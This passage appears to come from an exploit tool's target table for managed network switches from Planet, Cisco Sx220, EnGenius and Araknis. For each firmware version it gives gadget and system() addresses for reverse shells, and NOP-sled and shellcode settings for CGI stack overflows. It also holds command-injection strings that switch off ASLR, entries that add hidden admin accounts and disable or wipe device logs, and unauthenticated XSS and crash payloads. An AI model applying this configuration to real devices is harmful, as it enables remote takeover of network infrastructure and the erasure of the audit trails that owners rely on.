						'sys_timeSntp_set':0x42DA80,	# Jump one after 'sw $ra'			# Set SNTP Server (Inject CMD)
														# /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
						'sys_timeSntpDel_set':0x42DA80,	# Jump one after 'sw $ra'			# Delete (address, binary dependent) 
														# /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_time_post()
						'sys_timeSettings_set':0x42C868,# Jump one after 'sw $ra'			# Enable/Disable (address, binary dependent)
						'vulnerable': True,
					}, 
					'heack_cgi_shell': {
						'cgi':'dispatcher.cgi',			# /sqfs/home/web/cgi-bin/dispatcher.cgi; main()
						'START':0x7ffeee04,				# start: Stack overflow RA, used for searching NOP sled by blind jump
						'STOP':0x7fc60000,				# end: You may want to play with this if you dont get it working
						'usr_nop': 64,					# NOP sled (shellcode will be tailed)
						'pwd_nop': 45,					# filler/garbage (not used for something constructive)
						'align': 3,						# Align opcodes in memory
						'stack':True,					# NOP and shellcode lays on: True = stack, False = Heap
						'vulnerable': True,
					},
				},
			},
			'218-7473': {
				'template':'Planet',					# Static for the vendor
				'version':'2.0b160727',					# Version / binary dependent stuff
				'model':'GS-4210-24T2S',				# Model
				'uri':'https://www.planet.com.tw/en/product/GS-4210-24T2S',
				'exploit': {
					'heack_hydra_shell': {
														# /sqfs/bin/boa; embedparse() 
						'gadget': 0x40E04C,				# Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
														# /sqfs/bin/boa; read_body(); 
						'system': 0x8f99851c,			# la $t9, system) # opcode, binary dependent
														# /sqfs/bin/boa; read_body(); 
						'handler': 0x2484029c,			# addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
						'v0': 7,						# Should leave as-is (but you can play between 5 - 8)
						'vulnerable': True,
					},
					'stack_cgi_add_account': {
						'vulnerable': False,
					},
					'stack_cgi_del_account': { #
						'vulnerable': False,
					},
					'stack_cgi_diag': {
						# Ping IPv4
						'sys_ping_post_cmd':'ip=127.0.0.1 ; echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/check;&count=1',
						'verify_uri':'/tmp/check',
						'web_sys_ping_post':0x424594,	# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_sys_ping_post()

						# traceroute
						#'sys_ping_post_cmd':'ip=127.0.0.1 ; echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/check;&tr_maxhop=30&count=1',
						#'verify_uri':'/tmp/check',
						#'web_sys_ping_post':0x424DF4,	# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_sys_trace_route_post()
						'vulnerable': True,
					},
					'stack_cgi_log': {
														# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_setting_post()
						'log_settings_set':0x48AA98,	# Jump one after 'sw $ra'			# Disable Logging (address, binary dependent)
														# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_file_del()
						'log_ramClear':0x48D9F4,		# Jump one after 'sw $ra'			# Clean RAM log (address, binary dependent)
														# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_file_del()
						'log_fileClear':0x48D9F4,		# Jump one after 'sw $ra'			# Clean FILE log (address, binary dependent)
						'vulnerable': True,
					},
					'stack_cgi_sntp': {
														# /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
						'sys_timeSntp_set':0x42E474,	# Jump one after 'sw $ra'			# Set SNTP Server (Inject CMD)
														# /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
						'sys_timeSntpDel_set':0x42E474,	# Jump one after 'sw $ra'			# Delete (address, binary dependent) 
														# /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_time_post()
						'sys_timeSettings_set':0x42D25c,# Jump one after 'sw $ra'			# Enable/Disable (address, binary dependent)
						'vulnerable': True,
					}, 
					'heack_cgi_shell': {
						'cgi':'dispatcher.cgi',			# /sqfs/home/web/cgi-bin/dispatcher.cgi; main()
						'START':0x7ffeee04,				# start: Stack overflow RA, used for searching NOP sled by blind jump
						'STOP':0x7fc60000,				# end: You may want to play with this if you dont get it working
						'usr_nop': 64,					# NOP sled (shellcode will be tailed)
						'pwd_nop': 45,					# filler/garbage (not used for something constructive)
						'align': 3,						# Align opcodes in memory
						'stack':True,					# NOP and shellcode lays on: True = stack, False = Heap
						'vulnerable': True,
					},
				},
			},

			#
			# Cisco Systems, Inc.
			# Sx220 Series
			#
			# CGI Reverse Shell      : Yes
			# Boa/Hydra reverse shell: Yes
			# Del /var/log/ram.log   : Yes
			# Del /var/log/flash.log : Yes
			# Del /mntlog/flash.log  : Yes
			# Add credentials        : Yes
			# Del credentials        : Yes
			#
			'225-51973': {
				'template':'Cisco',						# Static for the vendor
				'version':'1.1.3.1',					# Version / binary dependent stuff
				'exploit': {
					'heack_hydra_shell': {
														# /sqfs/bin/boa; embedparse() 
						'gadget': 0x40F70C,				# Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
														# /sqfs/bin/boa; read_body(); 
						'system': 0x8f998524,			# la $t9, system # opcode, binary dependent
														# /sqfs/bin/boa; read_body(); 
						'handler': 0x2484683c,			# addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
						'v0': 7,						# Should leave as-is (but you can play between 5 - 8)
						'vulnerable': True,
					},
					'stack_cgi_add_account': {
						'vulnerable': False,
					},
					'stack_cgi_del_account': { #
						'vulnerable': False,
					},
					'stack_cgi_diag': {
														# /sqfs/home/web/cgi/set.cgi;  cgi_sys_ping_set()
						# Ping IPv4
						'web_sys_ping_post':0x43535C,	# Jump one after 'sw $ra'			# (address, binary dependent)
						'sys_ping_post_cmd':'&srvHost=127.0.0.1 ";echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check;"&count=1',
						'sys_ping_post_check':'',

														# /sqfs/home/web/cgi/set.cgi;  cgi_sys_tracert_set()
						# traceroute
						#'web_sys_ping_post':0x43567C,	# Jump one after 'sw $ra'			# (address, binary dependent)
						#'sys_ping_post_cmd':'&srvHost=127.0.0.1 ";echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check;"&count=1',
						#'sys_ping_post_check':'',

						'verify_uri':'/tmp/check',
						'vulnerable': True,				# 
					},
					'stack_cgi_log': {
														# /sqfs/home/web/cgi/set.cgi; cgi_log_settings_set()
						'log_settings_set':0x436FDC,	# Jump one after 'sw $ra'			# Disable Logging (address, binary dependent)
														# /sqfs/home/web/cgi/set.cgi; cgi_log_ramClear_set()
						'log_ramClear':0x436F34,		# Jump one after 'sw $ra'			# Clean RAM log (address, binary dependent)
														# /sqfs/home/web/cgi/set.cgi; cgi_log_fileClear_set()
						'log_fileClear':0x436F88,		# Jump one after 'sw $ra'			# Clean FILE log (address, binary dependent)
						'vulnerable': True,
					},
					'stack_cgi_sntp': {
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSntp_set()
						'sys_timeSntp_set':0x434FB0,	# Jump one after 'sw $ra'			# Set SNTP Server (Inject RCE)
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSntpDel_set()
						'sys_timeSntpDel_set':0x4350D8,	# Jump one after 'sw $ra'			# Delete (address, binary dependent) 
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSettings_set()
						'sys_timeSettings_set':0x434140,# Jump one after 'sw $ra'			# Enable/Disable (address, binary dependent)
						'vulnerable': True,
					}, 
					'heack_cgi_shell': {
						'cgi':'set.cgi',				# /sqfs/home/web/cgi/set.cgi; cgi_home_loginAuth_set()
						'START':0x7ffeff04,				# start: Stack overflow RA, used for searching NOP sled by blind jump
						'STOP':0x7fc60000,				# end: You may want to play with this if you dont get it working
						'usr_nop': 64,					# NOP sled (shellcode will be tailed)
						'pwd_nop': 77,					# filler/garbage (not used for something constructive)
						'align': 3,						# Align opcodes in memory
						'stack':True,					# NOP and shellcode lays on: True = stack, False = Heap
						'vulnerable': True,
					},
				},
			},
			'225-60080': {
				'template':'Cisco',						# Static for the vendor
				'version':'1.1.4.1',					# Version / binary dependent stuff
				'exploit': {
					'heack_hydra_shell': {
														# /sqfs/bin/boa; embedparse() 
						'gadget': 0x40ffac,				# Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
														# /sqfs/bin/boa; read_body(); 
						'system': 0x8f998530,			# la $t9, system # opcode, binary dependent
														# /sqfs/bin/boa; read_body(); 
						'handler': 0x24847b6c,			# addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
						'v0': 7,						# Should leave as-is (but you can play between 5 - 8)
						'vulnerable': True,
					},
					'stack_cgi_add_account': {
						'vulnerable': False,
					},
					'stack_cgi_del_account': { #
						'vulnerable': False,
					},
					'stack_cgi_diag': {
														# /sqfs/home/web/cgi/set.cgi;  cgi_sys_ping_set()
						# Ping IPv4
						'web_sys_ping_post':0x43535C,	# Jump one after 'sw $ra'			# (address, binary dependent)
						'sys_ping_post_cmd':'&srvHost=127.0.0.1 ";echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check;"&count=1',
						'sys_ping_post_check':'',

														# /sqfs/home/web/cgi/set.cgi;  cgi_sys_tracert_set()
						# traceroute
						#'web_sys_ping_post':0x43567C,	# Jump one after 'sw $ra'			# (address, binary dependent)
						#'sys_ping_post_cmd':'&srvHost=127.0.0.1 ";echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check;"&count=1',
						#'sys_ping_post_check':'',

						'verify_uri':'/tmp/check',
						'vulnerable': True,				# 
					},
					'stack_cgi_log': {
														# /sqfs/home/web/cgi/set.cgi; cgi_log_settings_set()
						'log_settings_set':0x436FDC,	# Jump one after 'sw $ra'			# Disable Logging (address, binary dependent)
														# /sqfs/home/web/cgi/set.cgi; cgi_log_ramClear_set()
						'log_ramClear':0x436F34,		# Jump one after 'sw $ra'			# Clean RAM log (address, binary dependent)
														# /sqfs/home/web/cgi/set.cgi; cgi_log_fileClear_set()
						'log_fileClear':0x436F88,		# Jump one after 'sw $ra'			# Clean FILE log (address, binary dependent)
						'vulnerable': True,
					},
					'stack_cgi_sntp': {
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSntp_set()
						'sys_timeSntp_set':0x434FB0,	# Jump one after 'sw $ra'			# Set SNTP Server (Inject RCE)
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSntpDel_set()
						'sys_timeSntpDel_set':0x4350D8,	# Jump one after 'sw $ra'			# Delete (address, binary dependent) 
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSettings_set()
						'sys_timeSettings_set':0x434140,# Jump one after 'sw $ra'			# Enable/Disable (address, binary dependent)
						'vulnerable': True,
					}, 
					'heack_cgi_shell': {
						'cgi':'set.cgi',				# /sqfs/home/web/cgi/set.cgi; cgi_home_loginAuth_set()
						'START':0x7ffeff04,				# start: Stack overflow RA, used for searching NOP sled by blind jump
						'STOP':0x7fc60000,				# end: You may want to play with this if you dont get it working
						'usr_nop': 64,					# NOP sled (shellcode will be tailed)
						'pwd_nop': 77,					# filler/garbage (not used for something constructive)
						'align': 3,						# Align opcodes in memory
						'stack':True,					# NOP and shellcode lays on: True = stack, False = Heap
						'vulnerable': True,
					},
				},
			},

			#
			# EnGenius Technologies, Inc.
			# EGS series
			#
			# CGI Reverse Shell      : Yes
			# Boa/Hydra reverse shell: Yes
			# Del /var/log/ram.log   : Yes
			# Del /var/log/flash.log : Yes
			# Del /mntlog/flash.log  : Yes
			# Add credentials        : Yes
			# Del credentials        : Yes
			#
			'14044-509': {
				'template':'EnGenius',						# Static for the vendor
				'version':'1.05.20_150810-1754',					# Version / binary dependent stuff
				'model':'EGS2110P',				# Model
				'uri':'https://www.engeniustech.com/engenius-products/8-port-gigabit-smart-switch-egs2110p/',
				'exploit': {
					'heack_hydra_shell': {
														# /sqfs/bin/boa; embedparse() 
						'gadget': 0x40E12C,				# Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
														# /sqfs/bin/boa; read_body(); 
						'system': 0x8f99851c,			# la $t9, system # opcode, binary dependent
														# /sqfs/bin/boa; read_body(); 
						'handler': 0x248405a0,			# addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
						'v0': 7,						# Should leave as-is (but you can play between 5 - 8)
						'vulnerable': True,
					},
					'stack_cgi_diag': {
														# /sqfs/home/web/cgi-bin/datajson.cgi;  sn_tracertSet()
						# traceroute
						'web_sys_ping_post': 0x42382C,	# Jump one after 'sw $ra'			# (address, binary dependent)
						'sys_ping_post_cmd':'&ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check #&mh=30&uid=0',
						'sys_ping_post_check':'',
						'verify_uri':'/conf_tmp/check',

						'vulnerable': True,				# 
					},
					'stack_cgi_add_account': {
						# pt: 0 = no password, 1 = cleartext, 2 = encrypted
														# /sqfs/home/web/cgi/set.cgi;  sn_user_mngSet()
						'address':0x423E74,				# Jump one after 'sw $ra'			# (address, binary dependent)
						'account':'&na=USERNAME&pt=2&pw=PASSWORD&pwn=PASSWORD&pv=0&op=1&',			# Admin, priv 15
						'vulnerable': True,
					},
					'stack_cgi_del_account': {
														# /sqfs/home/web/cgi/set.cgi;  sn_user_mngSet()
						'address':0x423E74,				# Jump one after 'sw $ra'			# (address, binary dependent)
						'account':'&na=USERNAME&pt=2&pv=0&op=0',		# 
						'vulnerable': True,				# 
					},
					'stack_cgi_log': {
														# /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_globalSet()
						'log_settings_set':0x43DE18,	# Jump one after 'sw $ra'			# Disable Logging (address, binary dependent)
														# /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set()
						'log_ramClear':0x43F934,		# Jump one after 'sw $ra'			# Clean RAM log (address, binary dependent)
														# /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set()
						'log_fileClear':0x43F934,		# Jump one after 'sw $ra'			# Clean FILE log (address, binary dependent)
						'vulnerable': True,
					},
					'stack_cgi_sntp': {
														# /sqfs/home/web/cgi-bin/datajson.cgi; sn_sys_timeSet()
						'sys_timeSntp_set':0x424844,	# Jump one after 'sw $ra'			# Set SNTP Server (Inject RCE)
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSntpDel_set()
						'sys_timeSntpDel_set':0x424844,	# Jump one after 'sw $ra'			# Delete (address, binary dependent) 
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSettings_set()
						'sys_timeSettings_set':0x424844,# Jump one after 'sw $ra'			# Enable/Disable (address, binary dependent)
						'vulnerable': True,
					}, 
					'heack_cgi_shell': {
						'cgi':'security.cgi',			# /sqfs/home/web/cgi-bin/security.cgi; main()
						'START':0x100181A0,				# start: Stack overflow RA, used for searching NOP sled by blind jump
						'STOP':0x104006A0,				# end: You may want to play with this if you dont get it working
						'usr_nop': 987,					# NOP sled (shellcode will be tailed)
						'pwd_nop': 69,					# filler/garbage (not used for something constructive)
						'align': 0,						# Align opcodes in memory
						'stack':False,					# NOP and shellcode lays on: True = stack, False = Heap
						'vulnerable': True,
					},
				},
			},

			#
			# EnGenius Technologies, Inc.
			# EWS series
			#
			# CGI Reverse Shell      : Yes
			# Boa/Hydra reverse shell: Yes
			# Del /var/log/ram.log   : Yes
			# Del /var/log/flash.log : Yes
			# Del /mntlog/flash.log  : Yes
			# Add credentials        : Yes
			# Del credentials        : Yes
			#
			'14044-32589': {
				'template':'EnGenius',						# Static for the vendor
				'version':'1.06.21_c1.8.77_180906-0716',					# Version / binary dependent stuff
				'model':'EWS1200-28TFP',				# Model
				'uri':'https://www.engeniustech.com/engenius-products/managed-poe-network-switch-ews1200-28tfp/',
				'verify': { 
						'cpl_locallogin.cgi (XSS)': {
							'description':'XSS in "redirecturl,userurl,loginurl,username,password" (PoC: Count passed XSS)',
							'authenticated': False,
							'response':'xss',
							'Content-Type':False,
							'uri':'/cgi-bin/cpl_locallogin.cgi?redirecturl=<script>alert(XSS);</script>&userurl=<script>alert(XSS);</script>&loginurl=<script>alert(XSS);</script>',
							'content':'username=<script>alert(XSS);</script>&password=<script>alert(XSS);</script>',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
						'sn.captivePortal.login (XSS)': {
							'description':'XSS in "userurl & uamip" (PoC: Count passed XSS)',
							'authenticated': False,
							'response':'xss',
							'Content-Type':False,
							'uri':'/cgi-bin/sn.captivePortal.login?cmd=action',
							'content':'mac=dummy&res=dummy&userurl=<script>alert(XSS);</script>&uamip=<script>alert(XSS);</script>&alertmsg=dummy&called=dummy',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
						'cpl_logo_ul.cgi': {
							'description':'Unauthenticated upload of "logo_icon". (PoC: Upload invalid file)',
							'authenticated': False,
							'response':'json',
							'Content-Type':False,
							'uri':'/cgi-bin/cpl_logo_ul.cgi',
							'content':'Content-Disposition: filename.png\n------',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
						'cpl_locallogin.cgi': {
							'description':'Stack overflow in "username/password (PoC: crash CGI)',
							'authenticated': False,
							'response':'502',
							'Content-Type':False,
							'uri':'/cgi-bin/cpl_locallogin.cgi?redirecturl=AAAA&userurl=BBBB&loginurl=BBBB',
							'content':'username=admin&password=' + self.random_string(196),
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
						'sn.captivePortal.login': {
							'description':'Stack overflow in "called", XSS in "userurl & uamip" (PoC: crash CGI)',
							'authenticated': False,
							'response':'502',
							'Content-Type':False,
							'uri':'/cgi-bin/sn.captivePortal.login?cmd=action',
							'content':'mac=dummy&res=dummy&userurl=dummy&uamip=dummy&alertmsg=dummy&called=' + self.random_string(4100),
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
						'sn.jrpc.dispatch.cgi': {
							'description':'Stack overflow in "usr, pswrd and method" (PoC: crash CGI)',
							'authenticated': False,
							'response':'502',
							'Content-Type':False,
							'uri':'/cgi-bin/sn.jrpc.dispatch.cgi',
							'content':'{"id":1, "jsonrpc":"2.0","params":{"usr":"admin","pswrd":"' + self.random_string(288) + '"},"method":"login"}',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
						'sn.captivePortal.auth': {
							'description':'Stack overflow in "user, chap_chal, chap_pass" (PoC: crash CGI)',
							'authenticated': False,
							'response':'502',
							'Content-Type':False,
							'uri':'/cgi-bin/sn.captivePortal.auth?user=admin&chap_chal=challenge&chap_pass='+ self.random_string(140),
							'content':'',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
				},
				'exploit': {
					'heack_hydra_shell': {
														# /sqfs/bin/boa; embedparse() 
						'gadget': 0x40E15C,				# Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
														# /sqfs/bin/boa; read_body(); 
						'system': 0x8f99851c,			# la $t9, system # opcode, binary dependent
														# /sqfs/bin/boa; read_body(); 
						'handler': 0x24840690,			# addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
						'v0': 6,						# Should leave as-is (but you can play between 5 - 8)
						'safe': True, # Boa/Hydra restart/watchdog, False = no restart, True = restart
						'vulnerable': True,
					},
					'stack_cgi_add_account': {
						# pt: 0 = no password, 1 = cleartext, 2 = encrypted
														# /sqfs/home/web/cgi/set.cgi;  sn_user_mngSet()
						'address':0x42D1D4,				# Jump one after 'sw $ra'			# (address, binary dependent)
						'account':'&na=USERNAME&pt=2&pw=PASSWORD&pwn=PASSWORD&pv=0&op=1&',			# Admin, priv 15
						'vulnerable': True,
					},
					'stack_cgi_del_account': {
														# /sqfs/home/web/cgi/set.cgi;  sn_user_mngSet()
						'address':0x42D1D4,				# Jump one after 'sw $ra'			# (address, binary dependent)
						'account':'&na=USERNAME&pt=2&pv=0&op=0',		# 
						'vulnerable': True,				# 
					},
					'stack_cgi_diag': {
														# /sqfs/home/web/cgi-bin/datajson.cgi;  sn_tracertSet()
						# traceroute
						'web_sys_ping_post': 0x42CB8C,	# Jump one after 'sw $ra'			# (address, binary dependent)
						'sys_ping_post_cmd':'&ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check #&mh=30&uid=0',
						'sys_ping_post_check':'',
						'verify_uri':'/conf_tmp/check',

						'vulnerable': True,				# 
					},
					'stack_cgi_log': {
														# /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_globalSet()
						'log_settings_set':0x4494E8,	# Jump one after 'sw $ra'			# Disable Logging (address, binary dependent)
														# /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set()
						'log_ramClear':0x44B0C0,		# Jump one after 'sw $ra'			# Clean RAM log (address, binary dependent)
														# /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set()
						'log_fileClear':0x44B0C0,		# Jump one after 'sw $ra'			# Clean FILE log (address, binary dependent)
						'vulnerable': True,
					},
					'stack_cgi_sntp': {
														# /sqfs/home/web/cgi-bin/datajson.cgi; sn_sys_timeSet()
						'sys_timeSntp_set':0x42E438,	# Jump one after 'sw $ra'			# Set SNTP Server (Inject RCE)
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSntpDel_set()
						'sys_timeSntpDel_set':0x42E438,	# Jump one after 'sw $ra'			# Delete (address, binary dependent) 
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSettings_set()
						'sys_timeSettings_set':0x42E438,# Jump one after 'sw $ra'			# Enable/Disable (address, binary dependent)
						'vulnerable': True,
					}, 
					'heack_cgi_shell': {
						'cgi':'security.cgi',			# /sqfs/home/web/cgi-bin/security.cgi; main()
						'query':'nop=nop&usr=admin&pswrd=_PWDNOP_RA_START&shellcode=_USRNOP_SHELLCODE',
						'START':0x100271A0,				# start: Stack overflow RA, used for searching NOP sled by blind jump
						'STOP':0x104006A0,				# end: You may want to play with this if you dont get it working
						'usr_nop': 987,					# NOP sled (shellcode will be tailed)
						'pwd_nop': 69,					# filler/garbage (not used for something constructive)
						'align': 0,						# Align opcodes in memory
						'stack':False,					# NOP and shellcode lays on: True = stack, False = Heap
						'vulnerable': True,
					},
				},
			},
			'14044-44104': {
				'template':'EnGenius',						# Static for the vendor
				'version':'1.07.22_c1.9.21_181018-0228',					# Version / binary dependent stuff
				'model':'EWS1200-28TFP',				# Model
				'uri':'https://www.engeniustech.com/engenius-products/managed-poe-network-switch-ews1200-28tfp/',
				'verify': { 
						'cpl_locallogin.cgi (XSS)': {
							'description':'XSS in "redirecturl,userurl,loginurl,username,password" (PoC: Count passed XSS)',
							'authenticated': False,
							'response':'xss',
							'Content-Type':False,
							'uri':'/cgi-bin/cpl_locallogin.cgi?redirecturl=<script>alert(XSS);</script>&userurl=<script>alert(XSS);</script>&loginurl=<script>alert(XSS);</script>',
							'content':'username=<script>alert(XSS);</script>&password=<script>alert(XSS);</script>',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
						'sn.captivePortal.login (XSS)': {
							'description':'XSS in "userurl & uamip" (PoC: Count passed XSS)',
							'authenticated': False,
							'response':'xss',
							'Content-Type':False,
							'uri':'/cgi-bin/sn.captivePortal.login?cmd=action',
							'content':'mac=dummy&res=dummy&userurl=<script>alert(XSS);</script>&uamip=<script>alert(XSS);</script>&alertmsg=dummy&called=dummy',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
						'cpl_logo_ul.cgi': {
							'description':'Unauthenticated upload of "logo_icon". (PoC: Upload invalid file)',
							'authenticated': False,
							'response':'json',
							'Content-Type':False,
							'uri':'/cgi-bin/cpl_logo_ul.cgi',
							'content':'Content-Disposition: filename.png\n------',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
						'cpl_locallogin.cgi': {
							'description':'Stack overflow in "username/password (PoC: crash CGI)',
							'authenticated': False,
							'response':'502',
							'Content-Type':False,
							'uri':'/cgi-bin/cpl_locallogin.cgi?redirecturl=AAAA&userurl=BBBB&loginurl=BBBB',
							'content':'username=admin&password=' + self.random_string(196),
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
						'sn.captivePortal.login': {
							'description':'Stack overflow in "called", XSS in "userurl & uamip" (PoC: crash CGI)',
							'authenticated': False,
							'response':'502',
							'Content-Type':False,
							'uri':'/cgi-bin/sn.captivePortal.login?cmd=action',
							'content':'mac=dummy&res=dummy&userurl=dummy&uamip=dummy&alertmsg=dummy&called=' + self.random_string(4100),
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
						'sn.jrpc.dispatch.cgi': {
							'description':'Stack overflow in "usr, pswrd and method" (PoC: crash CGI)',
							'authenticated': False,
							'response':'502',
							'Content-Type':False,
							'uri':'/cgi-bin/sn.jrpc.dispatch.cgi',
							'content':'{"id":1, "jsonrpc":"2.0","params":{"usr":"admin","pswrd":"' + self.random_string(288) + '"},"method":"login"}',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
						'sn.captivePortal.auth': {
							'description':'Stack overflow in "user, chap_chal, chap_pass" (PoC: crash CGI)',
							'authenticated': False,
							'response':'502',
							'Content-Type':False,
							'uri':'/cgi-bin/sn.captivePortal.auth?user=admin&chap_chal=challenge&chap_pass='+ self.random_string(140),
							'content':'',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
				},
				'exploit': {
					'heack_hydra_shell': {
														# /sqfs/bin/boa; embedparse() 
						'gadget': 0x40E15C,				# Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
														# /sqfs/bin/boa; read_body(); 
						'system': 0x8f99851c,			# la $t9, system # opcode, binary dependent
														# /sqfs/bin/boa; read_body(); 
						'handler': 0x24840690,			# addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
						'v0': 6,						# Should leave as-is (but you can play between 5 - 8)
						'safe': True, # Boa/Hydra restart/watchdog, False = no restart, True = restart
						'vulnerable': True,
					},
					'stack_cgi_add_account': {
						# pt: 0 = no password, 1 = cleartext, 2 = encrypted
														# /sqfs/home/web/cgi/set.cgi;  sn_user_mngSet()
						'address':0x42C334,				# Jump one after 'sw $ra'			# (address, binary dependent)
						'account':'&na=USERNAME&pt=2&pw=PASSWORD&pwn=PASSWORD&pv=0&op=1&',			# Admin, priv 15
						'vulnerable': True,
					},
					'stack_cgi_del_account': {
														# /sqfs/home/web/cgi/set.cgi;  sn_user_mngSet()
						'address':0x42C334,				# Jump one after 'sw $ra'			# (address, binary dependent)
						'account':'&na=USERNAME&pt=2&pv=0&op=0',		# 
						'vulnerable': True,				# 
					},
					'stack_cgi_diag': {
														# /sqfs/home/web/cgi-bin/datajson.cgi;  sn_tracertSet()
						# traceroute
						'web_sys_ping_post': 0x42BCEC,	# Jump one after 'sw $ra'			# (address, binary dependent)
						'sys_ping_post_cmd':'&ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check #&mh=30&uid=0',
						'sys_ping_post_check':'',
						'verify_uri':'/conf_tmp/check',

						'vulnerable': True,				# 
					},
					'stack_cgi_log': {
														# /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_globalSet()
						'log_settings_set':0x448008,	# Jump one after 'sw $ra'			# Disable Logging (address, binary dependent)
														# /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set()
						'log_ramClear':0x449BE0,		# Jump one after 'sw $ra'			# Clean RAM log (address, binary dependent)
														# /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set()
						'log_fileClear':0x449BE0,		# Jump one after 'sw $ra'			# Clean FILE log (address, binary dependent)
						'vulnerable': True,
					},
					'stack_cgi_sntp': {
														# /sqfs/home/web/cgi-bin/datajson.cgi; sn_sys_timeSet()
						'sys_timeSntp_set':0x42D598,	# Jump one after 'sw $ra'			# Set SNTP Server (Inject RCE)
														# /sqfs/home/web/cgi-bin/datajson.cgi; sn_sys_timeSet()
						'sys_timeSntpDel_set':0x42D598,	# Jump one after 'sw $ra'			# Delete (address, binary dependent) 
														# /sqfs/home/web/cgi-bin/datajson.cgi; sn_sys_timeSet()
						'sys_timeSettings_set':0x42D598,# Jump one after 'sw $ra'			# Enable/Disable (address, binary dependent)
						'vulnerable': True,
					}, 
					'heack_cgi_shell': {
						'cgi':'security.cgi',			# /sqfs/home/web/cgi-bin/security.cgi; main()
						'query':'nop=nop&usr=admin&pswrd=_PWDNOP_RA_START&shellcode=_USRNOP_SHELLCODE',
						'START':0x100271A0,				# start: Stack overflow RA, used for searching NOP sled by blind jump
						'STOP':0x104006A0,				# end: You may want to play with this if you dont get it working
						'usr_nop': 987,					# NOP sled (shellcode will be tailed)
						'pwd_nop': 69,					# filler/garbage (not used for something constructive)
						'align': 0,						# Align opcodes in memory
						'stack':False,					# NOP and shellcode lays on: True = stack, False = Heap
						'vulnerable': True,
					},
				},
			},

			#
			# Araknis Networks
			#
			# CGI Reverse Shell      : Yes
			# Boa/Hydra reverse shell: Yes
			# Del /var/log/ram.log   : Yes
			# Del /var/log/flash.log : Yes
			# Del /mntlog/flash.log  : Yes
			# Add credentials        : Yes
			# Del credentials        : Yes
			#
			'8028-89928': {
				'template':'Araknis',					# Static for the vendor
				'version':'1.2.00_171225-1618',			# Version / binary dependent stuff
				'model':'AN-310-SW-16-POE',				# Model
				'uri':'http://araknisnetworks.com/',
				'exploit': {
					'heack_hydra_shell': {
